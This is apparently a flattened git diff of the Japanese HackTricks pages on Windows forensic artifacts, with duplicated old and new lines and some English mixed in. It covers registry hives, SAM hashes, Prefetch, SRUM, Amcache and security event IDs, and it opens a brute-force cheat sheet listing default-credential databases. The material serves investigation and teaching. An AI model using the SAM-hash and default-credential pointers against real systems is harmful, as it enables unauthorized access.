* **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集約され、**thumbcache\_xxx.db**という名前のファイルがあります。[**Thumbsviewer**](https://thumbsviewer.github.io)と[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)はこれらのファイルを表示するためのツールです。 * **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集中し、**thumbcache_xxx.db**という名前のファイルが作成されます。[**Thumbsviewer**](https://thumbsviewer.github.io)および[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)はこれらのファイルを表示するためのツールです。
### Windowsレジストリ情報 ### Windowsレジストリ情報
Windowsレジストリは、広範なシステムおよびユーザーのアクティビティデータを格納しており、次のファイルに含まれています: Windowsレジストリは、広範なシステムおよびユーザー活動データを保存し、次のファイルに含まれています:
* `HKEY_LOCAL_MACHINE`のさまざまなサブキーには`%windir%\System32\Config`にあります。 * `%windir%\System32\Config`は、さまざまな`HKEY_LOCAL_MACHINE`サブキー用です。
* `HKEY_CURRENT_USER`には`%UserProfile%{User}\NTUSER.DAT`にあります。 * `%UserProfile%{User}\NTUSER.DAT`は、`HKEY_CURRENT_USER`用です。
* Windows Vista以降のバージョンでは、`%Windir%\System32\Config\RegBack\`に`HKEY_LOCAL_MACHINE`レジストリファイルのバックアップがあります。 * Windows Vista以降のバージョンでは、`HKEY_LOCAL_MACHINE`レジストリファイルが`%Windir%\System32\Config\RegBack\`にバックアップされます。
* さらに、プログラム実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に格納されます。 * さらに、プログラム実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に保存されます。
### ツール ### ツール
いくつかのツールがレジストリファイルを分析するのに役立ちます: レジストリファイルを分析するために役立つツールがいくつかあります:
* **レジストリエディタ**Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。 * **レジストリエディタ**Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md)レジストリファイルをロードし、GUIでそれらをナビゲートできます。興味深い情報を示すブックマークを含んでいます。 * [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md)レジストリファイルをロードし、GUIでナビゲートすることを可能にします。また、興味深い情報を持つキーをハイライトするブックマークも含まれています。
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0)再び、ロードされたレジストリをナビゲートするためのGUIを備えており、ロードされたレジストリ内の興味深い情報を強調するプラグインも含まれています。 * [**RegRipper**](https://github.com/keydet89/RegRipper3.0)再び、ロードされたレジストリをナビゲートするためのGUIを持ち、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html)レジストリから重要な情報を抽出できる別のGUIアプリケーションです。 * [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html)レジストリから重要な情報を抽出できる別のGUIアプリケーションです。
### 削除された要素の回復 ### 削除された要素の回復
キーが削除されると、それがマークされますが、そのスペースが必要になるまで削除されません。したがって、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することが可能です。 キーが削除されると、そのようにマークされますが、占有しているスペースが必要になるまで削除されません。したがって、**Registry Explorer**のようなツールを使用すると、これらの削除されたキーを回復することが可能です。
### 最終更新時刻 ### 最終書き込み時間
各キー値には、最後に変更された時間を示す**タイムスタンプ**が含まれています。 各キー-値には、最後に変更された時間を示す**タイムスタンプ**が含まれています。
### SAM ### SAM
ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。 ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。
`SAM\Domains\Account\Users`には、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、アカウント作成日などの情報が含まれます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も必要です。 `SAM\Domains\Account\Users`、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、およびアカウントが作成された日時を取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も**必要**です。
### Windowsレジストリの興味深いエントリ ### Windowsレジストリの興味深いエントリ
@ -283,23 +287,25 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク
[この投稿](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスについて学ぶことができます。 [この投稿](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスについて学ぶことができます。
### Windows最近のアプリ ### Windows Recent APPs
レジストリ`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最終実行時刻**、**起動回数**に関する情報が含まれるサブキーがあります。 レジストリ`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最後に実行された時間**、および**起動された回数**に関する情報を含むサブキーがあります。
### BAMバックグラウンドアクティビティモデレーター ### BAMバックグラウンドアクティビティモデレーター
レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`内には、各ユーザーが実行した**アプリケーションに関する情報**(パス内の`{SID}`に注意)および**実行時刻**が含まれています(実行時刻はレジストリのデータ値内にあります)。 レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`内で、**各ユーザーによって実行されたアプリケーション**に関する情報(パス内の`{SID}`に注意)と**実行された時間**を見つけることができます(時間はレジストリのデータ値内にあります)。
### Windows Prefetch ### Windowsプリフェッチ
プリフェッチは、コンピュータ**ユーザーが近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに取得**する技術です。Windowsプリフェッチは、**実行されたプログラムのキャッシュ**を作成して、それらをより速くロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイルの制限があり、Win8/Win10では1024ファイルの制限があります。 プリフェッチは、コンピュータがユーザーが**近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに**取得することを可能にする技術です。これにより、リソースに迅速にアクセスできるようになります。
ファイル名は`{program_name}-{hash}.pf`として作成されますハッシュは実行可能ファイルのパスと引数に基づいています。W10ではこれらのファイルが圧縮されています。ファイルが存在するだけで、そのプログラムが**ある時点で実行された**ことを示しています。 Windowsプリフェッチは、**実行されたプログラムのキャッシュを作成**して、より迅速にロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイル、Win8/Win10では1024ファイルの制限があります。
ファイル`C:\Windows\Prefetch\Layout.ini`には、プリフェッチされるファイルのフォルダの**名前**に関する情報が含まれています。このファイルには、**実行回数**、**実行日**、およびプログラムによって**開かれたファイル**に関する情報が含まれています。 ファイル名は`{program_name}-{hash}.pf`として作成されますハッシュは実行可能ファイルのパスと引数に基づいています。W10では、これらのファイルは圧縮されています。ファイルの存在は、**プログラムが実行された**ことを示しています。
これらのファイルを調査するには、[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)ツールを使用できます。 ファイル`C:\Windows\Prefetch\Layout.ini`には、**プリフェッチされたファイルのフォルダーの名前**が含まれています。このファイルには、**実行回数**、**実行日**、および**プログラムによって**開かれた**ファイルに関する情報が含まれています。
これらのファイルを検査するには、ツール[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)を使用できます。
```bash ```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
``` ```
@ -307,113 +313,246 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク
### Superprefetch ### Superprefetch
**Superprefetch**は、prefetchと同じ目標を持ち、次に読み込まれるものを予測して**プログラムを高速に読み込む**ことを目的としています。ただし、prefetchサービスを置き換えるものではありません。\ **Superprefetch** は、次に読み込まれるものを予測することによって **プログラムをより速く読み込む** という同じ目的を持っています。しかし、これはプリフェッチサービスの代わりにはなりません。\
このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。 このサービスは `C:\Windows\Prefetch\Ag*.db` にデータベースファイルを生成します。
これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスたボリューム**、**完全なパス**、**時間枠**、**タイムスタンプ**が含まれています。 これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、および **タイムスタンプ** が含まれています。
この情報には、[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)ツールを使用してアクセスできます。 この情報には、ツール [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) を使用してアクセスできます。
### SRUM ### SRUM
**System Resource Usage Monitor**SRUMは、**プロセスによって消費されるリソースを監視**します。W8に登場し、データは`C:\Windows\System32\sru\SRUDB.dat`にあるESEデータベースに保存されます。 **System Resource Usage Monitor** (SRUM) は、**プロセスによって消費されるリソース**を**監視**します。これはW8で登場し、`C:\Windows\System32\sru\SRUDB.dat` にESEデータベースとしてデータを保存します。
次の情報が提供されます: 以下の情報を提供します:
* AppIDとパス * AppID とパス
* プロセスを実行したユーザー * プロセスを実行したユーザー
* 送信バイト数 * 送信バイト数
* 受信バイト数 * 受信バイト数
* ネットワークインターフェース * ネットワークインターフェース
* 接続 * 接続の持続時
* プロセス * プロセスの持続時
この情報は60分ごとに更新されます。 この情報は60分ごとに更新されます。
このファイルからデータを取得するには、[**srum_dump**](https://github.com/MarkBaggett/srum-dump)ツールを使用できます。 このファイルから日付を取得するには、ツール [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) を使用できます。
```bash ```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
``` ```
### AppCompatCacheShimCache ### AppCompatCache (ShimCache)
**AppCompatCache**、または**ShimCache**としても知られるものは、**Microsoft**が開発した**アプリケーション互換性データベース**の一部であり、アプリケーションの互換性の問題に対処するために使用されます。このシステムコンポーネントは、次のファイルメタデータを記録します: **AppCompatCache**、または**ShimCache**は、**Microsoft**がアプリケーションの互換性の問題に対処するために開発した**Application Compatibility Database**の一部です。このシステムコンポーネントは、以下のファイルメタデータのさまざまな情報を記録します。
- ファイルの完全なパス * ファイルのフルパス
- ファイルのサイズ * ファイルのサイズ
- **$Standard\_Information**SIの下の最終更新時刻 * **$Standard\_Information** (SI) の最終更新時刻
- ShimCacheの最終更新時刻 * ShimCacheの最終更新時刻
- プロセス実行フラグ * プロセス実行フラグ
このようなデータは、オペレーティングシステムのバージョンに基づいてレジストリ内の特定の場所に保存されます: このデータは、オペレーティングシステムのバージョンに基づいて特定の場所にレジストリ内に保存されます。
- XPの場合、データは`SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`に保存され、96エントリを格納できます。 * XPの場合、データは `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` に保存され、96エントリの容量があります。
- Server 2003、およびWindowsバージョン2008、2012、2016、7、8、および10の場合、ストレージパスは`SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`で、それぞれ512および1024エントリを収容します。 * Server 2003およびWindowsのバージョン2008、2012、2016、7、8、10の場合、ストレージパスは `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` で、512および1024エントリをそれぞれ収容します。
保存された情報を解析するには、[**AppCompatCacheParser**ツール](https://github.com/EricZimmerman/AppCompatCacheParser)の使用をお勧めします。 保存された情報を解析するには、[**AppCompatCacheParser**ツール](https://github.com/EricZimmerman/AppCompatCacheParser)の使用が推奨されます。
![](<../../../.gitbook/assets/image (75).png>) ![](<../../../.gitbook/assets/image (75).png>)
### Amcache ### Amcache
**Amcache.hve**ファイルは、システムで実行されたアプリケーションの詳細を記録するレジストリハイブです。通常、`C:\Windows\AppCompat\Programas\Amcache.hve`にります。 **Amcache.hve**ファイルは、システムで実行されたアプリケーションの詳細を記録するレジストリハイブです。通常、`C:\Windows\AppCompat\Programas\Amcache.hve`に見つかります。
このファイルは、最近実行されたプロセスの記録、実行可能ファイルへのパス、およびそれらのSHA1ハッシュを保存するために注目されています。この情報は、システム上のアプリケーションの活動を追跡するために貴重です。 このファイルは、実行されたプロセスの記録を保存することで注目されており、実行可能ファイルへのパスやそのSHA1ハッシュを含みます。この情報は、システム上のアプリケーションの活動を追跡するために非常に貴重です。
**Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。次のコマンドは、**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力するためのAmcacheParserの使用例です **Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。以下のコマンドは、AmcacheParserを使用して**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力する方法の例です。
```bash ```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
``` ```
生成されたCSVファイルの中で、`Amcache_Unassociated file entries`は、関連付けられていないファイルエントリに関する豊富な情報を提供するため特に注目に値します。 Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries.
最も興味深いCSVファイルは、`Amcache_Unassociated file entries`です。 生成されたCSVファイルの中で、`Amcache_Unassociated file entries`は、関連付けられていないファイルエントリに関する豊富な情報を提供するため、特に注目に値します。
The most interesting CVS file generated is the `Amcache_Unassociated file entries`.
生成された最も興味深いCVSファイルは、`Amcache_Unassociated file entries`です。
### RecentFileCache ### RecentFileCache
このアーティファクトは、`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみW7で見つけることができ、いくつかのバイナリの最近の実行に関する情報を含んでいます。 This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries.
ファイルを解析するために[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)ツールを使用できます。 このアーティファクトはW7の`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみ存在し、いくつかのバイナリの最近の実行に関する情報を含んでいます。
### スケジュールされたタスク You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file.
`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出し、XMLとして読むことができます。 ファイルを解析するには、ツール[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)を使用できます。
### サービス ### Scheduled tasks
レジストリ内の`SYSTEM\ControlSet001\Services`に見つけることができます。実行される内容や実行時期を確認できます。 You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML.
それらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出でき、XMLとして読むことができます。
### Services
You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when.
それらはレジストリの`SYSTEM\ControlSet001\Services`に見つけることができます。何がいつ実行されるかを見ることができます。
### **Windows Store** ### **Windows Store**
インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`にあります。\ The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\
このリポジトリには、システム内の各アプリケーションのインストールに関する**`StateRepository-Machine.srd`**データベース内の**ログ**があります。 This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**.
このデータベースのApplicationテーブル内には、"Application ID"、"PackageNumber"、"Display Name"という列があります。これらの列には、事前にインストールされたアプリケーションやインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続しているはずです。 インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`に見つけることができます。\
このリポジトリには、データベース**`StateRepository-Machine.srd`**内にシステムにインストールされた**各アプリケーション**の**ログ**があります。
また、レジストリパス内に**インストールされたアプリケーション**を見つけることも可能です:`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential.
そして**アンインストールされたアプリケーション**はこちらにあります:`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windowsイベント このデータベースのアプリケーションテーブル内には、「Application ID」、「PackageNumber」、「Display Name」という列があります。これらの列には、プリインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続している必要があるため、いくつかのアプリケーションがアンインストールされたかどうかを確認できます。
Windowsイベント内に表示される情報は以下の通りです It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
* 何が起こったか レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内で**インストールされたアプリケーション**を見つけることも可能です。\
* タイムスタンプUTC + 0 そして、`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`に**アンインストールされた** **アプリケーション**があります。
* 関与するユーザー
* 関与するホストホスト名、IP
* アクセスされたアセット(ファイル、フォルダ、プリンター、サービス)
ログは、Windows Vistaより前では`C:\Windows\System32\config`に、Windows Vista以降では`C:\Windows\System32\winevt\Logs`にあります。Windows Vistaより前では、イベントログはバイナリ形式であり、その後は**XML形式**であり、**.evtx**拡張子を使用します。 ## Windows Events
イベントファイルの場所は、SYSTEMレジストリ内の**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**にあります。 Information that appears inside Windows events are:
Windowsイベントビューアー(**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com) **または** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**などのツールで表示できます。** Windowsイベント内に表示される情報は次のとおりです。
## Windowsセキュリティイベントログの理解 * What happened
* Timestamp (UTC + 0)
* Users involved
* Hosts involved (hostname, IP)
* Assets accessed (files, folder, printer, services)
セキュリティ構成ファイルに記録されるアクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあります。このファイルのサイズは調整可能であり、容量が達すると古いイベントが上書きされます。記録されるイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダ、共有アセットへのアクセスが含まれます。 何が起こったか\
#### システムの電源イベント タイムスタンプUTC + 0\
関与したユーザー\
関与したホストホスト名、IP\
アクセスされた資産(ファイル、フォルダー、プリンター、サービス)
EventID 6005 はシステムの起動を示し、EventID 6006 はシャットダウンを示します。 The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension.
#### ログの削除 ログは、Windows Vista以前は`C:\Windows\System32\config`に、Windows Vista以降は`C:\Windows\System32\winevt\Logs`にあります。Windows Vista以前はイベントログはバイナリ形式であり、その後は**XML形式**で**.evtx**拡張子を使用しています。
セキュリティ EventID 1102 はログの削除を示し、それは法的解析において重要なイベントです。 The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
イベントファイルの場所は、SYSTEMレジストリの**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**に見つけることができます。
They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
それらはWindowsイベントビューア**`eventvwr.msc`**)から視覚化することができ、[**Event Log Explorer**](https://eventlogxp.com) **や** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**のような他のツールでも視覚化できます。**
## Understanding Windows Security Event Logging
Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access.
アクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあるセキュリティ構成ファイルに記録されます。このファイルのサイズは調整可能で、容量に達すると古いイベントが上書きされます。記録されたイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダー、および共有資産へのアクセスが含まれます。
### Key Event IDs for User Authentication:
ユーザー認証のための主要なイベントID
* **EventID 4624**: Indicates a user successfully authenticated.
* **EventID 4625**: Signals an authentication failure.
* **EventIDs 4634/4647**: Represent user logoff events.
* **EventID 4672**: Denotes login with administrative privileges.
* **EventID 4624**: ユーザーが正常に認証されたことを示します。\
* **EventID 4625**: 認証の失敗を示します。\
* **EventIDs 4634/4647**: ユーザーログオフイベントを表します。\
* **EventID 4672**: 管理者権限でのログインを示します。
#### Sub-types within EventID 4634/4647:
* **Interactive (2)**: Direct user login.
* **Network (3)**: Access to shared folders.
* **Batch (4)**: Execution of batch processes.
* **Service (5)**: Service launches.
* **Proxy (6)**: Proxy authentication.
* **Unlock (7)**: Screen unlocked with a password.
* **Network Cleartext (8)**: Clear text password transmission, often from IIS.
* **New Credentials (9)**: Usage of different credentials for access.
* **Remote Interactive (10)**: Remote desktop or terminal services login.
* **Cache Interactive (11)**: Login with cached credentials without domain controller contact.
* **Cache Remote Interactive (12)**: Remote login with cached credentials.
* **Cached Unlock (13)**: Unlocking with cached credentials.
#### EventID 4616:
* **Time Change**: Modification of the system time, could obscure the timeline of events.
#### EventID 6005 and 6006:
* **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down.
#### EventID 1102:
* **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities.
#### EventIDs for USB Device Tracking:
* **20001 / 20003 / 10000**: USB device first connection.
* **10100**: USB driver update.
* **EventID 112**: Time of USB device insertion.
USBデバイストラッキングのためのイベントID
* **20001 / 20003 / 10000**: USBデバイスの最初の接続。\
* **10100**: USBドライバーの更新。\
* **EventID 112**: USBデバイス挿入の時間。
For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
これらのログインタイプや資格情報ダンプの機会をシミュレートする実用的な例については、[Altered Securityの詳細ガイド](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)を参照してください。
Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625.
イベントの詳細、ステータスおよびサブステータスコードを含む情報は、特にEvent ID 4625でのイベントの原因に関するさらなる洞察を提供します。
### Recovering Windows Events
To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk\_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events.
### Identifying Common Attacks via Windows Events
For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Brute Force Attacks
Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds.
#### Time Change
Recorded by EventID 4616, changes to system time can complicate forensic analysis.
#### USB Device Tracking
Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps.
#### System Power Events
EventID 6005 indicates system startup, while EventID 6006 marks shutdown.
#### Log Deletion
Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# ブルートフォース - チートシート # Brute Force - CheatSheet
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
</details> </details>
{% endhint %}
## デフォルトの資格情報 ## デフォルトの資格情報
使用されている技術のデフォルトの資格情報を検索するか、次のリンクを試してみてください 使用されている技術のデフォルトの資格情報を**Googleで検索**するか、**これらのリンクを試してください**
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -37,11 +38,11 @@ HackTricksをサポートする他の方法
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/) * [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **独自の辞書を作成する** ## **独自の辞書を作成する**
